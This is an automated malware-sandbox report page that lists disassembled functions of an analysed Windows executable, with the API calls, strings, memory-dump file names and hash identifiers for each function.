Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 001DEA29
MessageBoxW.USER32(?,?,?,?), ref: 001DEA5C
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 001DEA72
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 001DEA79

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 3fb91d18d70586cde2b26125980e1ec0a98fe21a46c626045288279107807e4f
Instruction ID: 26d00644eecde96fe714831d866c019661f5d2aad437681318569d9ae3b637e2
Opcode Fuzzy Hash: 3fb91d18d70586cde2b26125980e1ec0a98fe21a46c626045288279107807e4f
Instruction Fuzzy Hash: 2411087A900259BBCB01AFA8AC09A9B7FBDAB46311F004256F825E7391D7748D0487A0

Uniqueness

Uniqueness Score: -1.00%

Function 00208773 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00208792
ScreenToClient.USER32(?,?), ref: 002087AA
ScreenToClient.USER32(?,?), ref: 002087CE
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 002087E9

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 36148cf45aff2e18cca8dffca9336fe9a152f422cc1c8dd77a50a51e755dc7c2
Instruction ID: 4cf2bba9c4c1e11474186c2f0a8c4d66377df0075ea80e17b3c4e5b9c58266fd
Opcode Fuzzy Hash: 36148cf45aff2e18cca8dffca9336fe9a152f422cc1c8dd77a50a51e755dc7c2
Instruction Fuzzy Hash: 041144B9D0120AEFDB41CF98D8849EEBBF9FB08310F104166E915E3211D735AA54CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00172150 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0017216C
SetTextColor.GDI32(?,?), ref: 00172176
SetBkMode.GDI32(?,00000001), ref: 00172189
GetStockObject.GDI32(00000005), ref: 00172191

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 77c192a1ce4addfeae1759ccfe7ac2ed904f93fee2cd8880cc8bf1c27709c015
Instruction ID: 696c39e34ce6f37372a86fc6534bed421977de435e85f78980b2a5508319a5af
Opcode Fuzzy Hash: 77c192a1ce4addfeae1759ccfe7ac2ed904f93fee2cd8880cc8bf1c27709c015
Instruction Fuzzy Hash: 61E06D31281740AEDB215BB4BC0DBE8BB60AB12336F04C219F6BE880E2C77246519B10

Uniqueness

Uniqueness Score: -1.00%

Function 001CEBD6 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 001CEBD6
GetDC.USER32(00000000), ref: 001CEBE0
GetDeviceCaps.GDI32(00000000,0000000C), ref: 001CEC00
ReleaseDC.USER32(?), ref: 001CEC21

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 6af71a6eb53714bae9577f4df527294dded3c59e22f834fcb24672fa49808ed0
Instruction ID: add8bf2a3ec438f2f51dde7cfd56d6ab97720ba38e2333ec88ac1f1cd5ecf6dd
Opcode Fuzzy Hash: 6af71a6eb53714bae9577f4df527294dded3c59e22f834fcb24672fa49808ed0
Instruction Fuzzy Hash: 9DE01AB4801301DFCB50AFA0A80CB6DBBF5FB08310F11C449E81AE3211CB3A99419F00

Uniqueness

Uniqueness Score: -1.00%

Function 001CEBEA Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 001CEBEA
GetDC.USER32(00000000), ref: 001CEBF4
GetDeviceCaps.GDI32(00000000,0000000C), ref: 001CEC00
ReleaseDC.USER32(?), ref: 001CEC21

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 315925836105eed1ca06497967adef9effe336047438aafe8baf0074222529b7
Instruction ID: 1702efed3f55174de5e53612be78e6314000490e6daa1f11aa1538bb28758b3c
Opcode Fuzzy Hash: 315925836105eed1ca06497967adef9effe336047438aafe8baf0074222529b7
Instruction Fuzzy Hash: 44E092B5901305EFCB51AFA0A84CA6DBBF9BB48311F158449E95EE3251DB3A9A019F10

Uniqueness

Uniqueness Score: -1.00%

Function 0019E60D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0019E69D

Strings

pow, xrefs: 0019E675, 0019E692

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 4efb117856f7dd8909407a748f80572d6259840be5d45b8526f06aee72b3dd77
Instruction ID: d31201582e566e4177b347f5677c5c40c8b9029c7501360c95b1c12e44fec95a
Opcode Fuzzy Hash: 4efb117856f7dd8909407a748f80572d6259840be5d45b8526f06aee72b3dd77
Instruction Fuzzy Hash: 94516965E082019ACF15F714DD053BA3BE4AB72B40F308969F095822E9EF358CD6DA86

Uniqueness

Uniqueness Score: -1.00%

Function 0018A86C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 0018A896

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 822c997bc203548cfcc985c6ddb28740a08466df00dd4af863d68fd189b788c3
Instruction ID: 75c56b165b06234826e20f179ed2723692d268eb422c01ccc468285bb6e5e600
Opcode Fuzzy Hash: 822c997bc203548cfcc985c6ddb28740a08466df00dd4af863d68fd189b788c3
Instruction Fuzzy Hash: 69514430908246DFDF18EF68D080BBA7BA1EF25314F65405AE8919B2D0DB30DE42CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001F60A2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?), ref: 001F613D
_wcslen.LIBCMT ref: 001F6149

Strings

CALLARGARRAY, xrefs: 001F6143, 001F6148

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: d985d150987a4f2cf6e6208556901533cd80a7ac3ed3616f14faa9dc1f69870d
Instruction ID: ab813791fdf921bb06e924c18fe81633b00b5aab90c627134ca0bee7311c5f82
Opcode Fuzzy Hash: d985d150987a4f2cf6e6208556901533cd80a7ac3ed3616f14faa9dc1f69870d
Instruction Fuzzy Hash: E841A471A042199FCB14EFA8C8958FEBBF5FFA9320F144069E506A7352EB709D81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0020406F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0017771B: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00177759
Part of subcall function 0017771B: GetStockObject.GDI32(00000011), ref: 0017776D
Part of subcall function 0017771B: SendMessageW.USER32(00000000,00000030,00000000), ref: 00177777

GetWindowRect.USER32(00000000,?), ref: 002040D9
GetSysColor.USER32(00000012), ref: 002040F3

Strings

static, xrefs: 002040B6

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 94b8336065e36ae9440ac2676be813349940b3188131c811974f1d9e47adc625
Instruction ID: 41ca02075c78654ff1d32239a9bc3d728e39d43342ee68555d85bb4d4d1addc1
Opcode Fuzzy Hash: 94b8336065e36ae9440ac2676be813349940b3188131c811974f1d9e47adc625
Instruction Fuzzy Hash: 06113A7262020AAFDB00DFA8DC45AFA7BB9FB09314F004915FE59E3191E775E861DB60

Uniqueness

Uniqueness Score: -1.00%

Function 001D256E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

Part of subcall function 001D4536: GetClassNameW.USER32(?,?,000000FF), ref: 001D4559

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 001D25DC

Strings

ListBox, xrefs: 001D25A6
ComboBox, xrefs: 001D257B

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 8344ea27e5a1af4c27a199a8615ad7a211cbf3d76a1ed2b93ff023b7db030711
Instruction ID: ad28a1706e778f4e93e599d502c527d8933941b58d26ccad5cc95aa5f7072ffd
Opcode Fuzzy Hash: 8344ea27e5a1af4c27a199a8615ad7a211cbf3d76a1ed2b93ff023b7db030711
Instruction Fuzzy Hash: F4012871605215ABCB14EBA4DC55DFE7779BF72320B04460AF872933D3EB3098088750

Uniqueness

Uniqueness Score: -1.00%

Function 001D2468 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

Part of subcall function 001D4536: GetClassNameW.USER32(?,?,000000FF), ref: 001D4559

SendMessageW.USER32(?,00000180,00000000,?), ref: 001D24D6

Strings

ListBox, xrefs: 001D24A0
ComboBox, xrefs: 001D2475

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 27e705100c8879805857d1c453a665c295b15e5f68a26c4eabe9706217bf9874
Instruction ID: 29333a5b415bafbca7c86c565733e37ed55e68f3a46b34463dda505419a7c702
Opcode Fuzzy Hash: 27e705100c8879805857d1c453a665c295b15e5f68a26c4eabe9706217bf9874
Instruction Fuzzy Hash: 3901F771A05109ABCB28EBA0C855FFF77B89F71304F14001AA81263383DB209E08C671

Uniqueness

Uniqueness Score: -1.00%

Function 001D24EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

Part of subcall function 001D4536: GetClassNameW.USER32(?,?,000000FF), ref: 001D4559

SendMessageW.USER32(?,00000182,?,00000000), ref: 001D2558

Strings

ListBox, xrefs: 001D2524
ComboBox, xrefs: 001D24F9

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: f2c78b48f6cf24975a71eeb05e95cfeabda6ad0ae0a1858766e40b74afe142a1
Instruction ID: 3e043640f34bdf4ad6d51d47562e4d29ab7ff8ecd7b64194f3f44b3b1c130661
Opcode Fuzzy Hash: f2c78b48f6cf24975a71eeb05e95cfeabda6ad0ae0a1858766e40b74afe142a1
Instruction Fuzzy Hash: 2D01A271A45109A7CB24EBA4E956FFEB7B89F32740F144016B812B3382EB349E09C671

Uniqueness

Uniqueness Score: -1.00%

Function 001D25F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

Part of subcall function 001D4536: GetClassNameW.USER32(?,?,000000FF), ref: 001D4559

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 001D2663

Strings

ListBox, xrefs: 001D2630
ComboBox, xrefs: 001D2605

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 451a3727b55ad8a28a7ba1ae1098877390d0a232b4e290e898ebc8975e798c59
Instruction ID: 9eaf4d67dceb042c231dbc716803149ff06755b463a7560a04e73288ca12a446
Opcode Fuzzy Hash: 451a3727b55ad8a28a7ba1ae1098877390d0a232b4e290e898ebc8975e798c59
Instruction Fuzzy Hash: BCF0A471A45219A7CB24E7A4DC96FFFB778AF21714F140916F872A33D3DB70A8098660

Uniqueness

Uniqueness Score: -1.00%

Function 00208AD1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00244018,0024405C), ref: 00208B1E
CloseHandle.KERNEL32 ref: 00208B30

Strings

\@$, xrefs: 00208AE9

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \@$
API String ID: 3712363035-1453171986
Opcode ID: d995ffc4547f23ac5369128e01dc19bee914c08b91aa58ac0a56542c9fd36f67
Instruction ID: 8ce75f9142ced504910dd3335fac97999f223b8be60126a0f61832ac98ee0efb
Opcode Fuzzy Hash: d995ffc4547f23ac5369128e01dc19bee914c08b91aa58ac0a56542c9fd36f67
Instruction Fuzzy Hash: 1EF05EB6551304BBE7247BA0BC49FB73A9CDB16754F001020FB08D6192D6764C6096B8

Uniqueness

Uniqueness Score: -1.00%

Function 001CE59A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 001CE59E

Strings

%.3d, xrefs: 001CE5A9
X64, xrefs: 001CE626

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 698d62deb08e4d421115c15ce99af133a9d6d72a688bf229d8dfd5ffb96411a5
Instruction ID: 82489295d1c676d57f59c6c818e1299da6907c18da53d64d4e64e91c29decec8
Opcode Fuzzy Hash: 698d62deb08e4d421115c15ce99af133a9d6d72a688bf229d8dfd5ffb96411a5
Instruction Fuzzy Hash: F5D012A5C14118D9CB94AAD09848DBD73FCA72C300F21445AF806D1001E734D658AB21

Uniqueness

Uniqueness Score: -1.00%

Function 00202CB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00202CCB
PostMessageW.USER32(00000000), ref: 00202CD2

Part of subcall function 001DF1A7: Sleep.KERNEL32 ref: 001DF21F

Strings

Shell_TrayWnd, xrefs: 00202CC4

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 421c32ce2d6b6192714f7b7d2a9395083fe41a0646209cba06aa49fb619731fc
Instruction ID: dead3ff022245ff6ec466a9e4e1d110b5847ba97fc576573a490e8977df729b5
Opcode Fuzzy Hash: 421c32ce2d6b6192714f7b7d2a9395083fe41a0646209cba06aa49fb619731fc
Instruction Fuzzy Hash: 1FD0C9753C63506AF668B7B0FC4FFC6AA58AB55B14F4009167646AA1D1CAA0A802C698

Uniqueness

Uniqueness Score: -1.00%

Function 00202C81 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00202C8B
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00202C9E

Part of subcall function 001DF1A7: Sleep.KERNEL32 ref: 001DF21F

Strings

Shell_TrayWnd, xrefs: 00202C84

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 7c405550ee20625e62221045de143967794bf4dbfb934601931135d8913473a0
Instruction ID: 562d63ce7a215f8f152c374470579b6816cfd7ef2313886da4a52e13c4306dd5
Opcode Fuzzy Hash: 7c405550ee20625e62221045de143967794bf4dbfb934601931135d8913473a0
Instruction Fuzzy Hash: 94D0C9753D5350A6F668B7B0FC4FFD6AA58AB50B14F400916764AAA1D1CAA0A802C694

Uniqueness

Uniqueness Score: -1.00%

Function 001AC19D Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 001AC233
GetLastError.KERNEL32 ref: 001AC241
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 001AC29C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 9471b0f442f56135446d5ebc43cc5cfc8eea597cec44dd5ffccdc16cfdf7399a
Instruction ID: e870f34cf07fb182146e0e46de4f6e1865a6d1b90bf43f71ca65f00fc6c30d33
Opcode Fuzzy Hash: 9471b0f442f56135446d5ebc43cc5cfc8eea597cec44dd5ffccdc16cfdf7399a
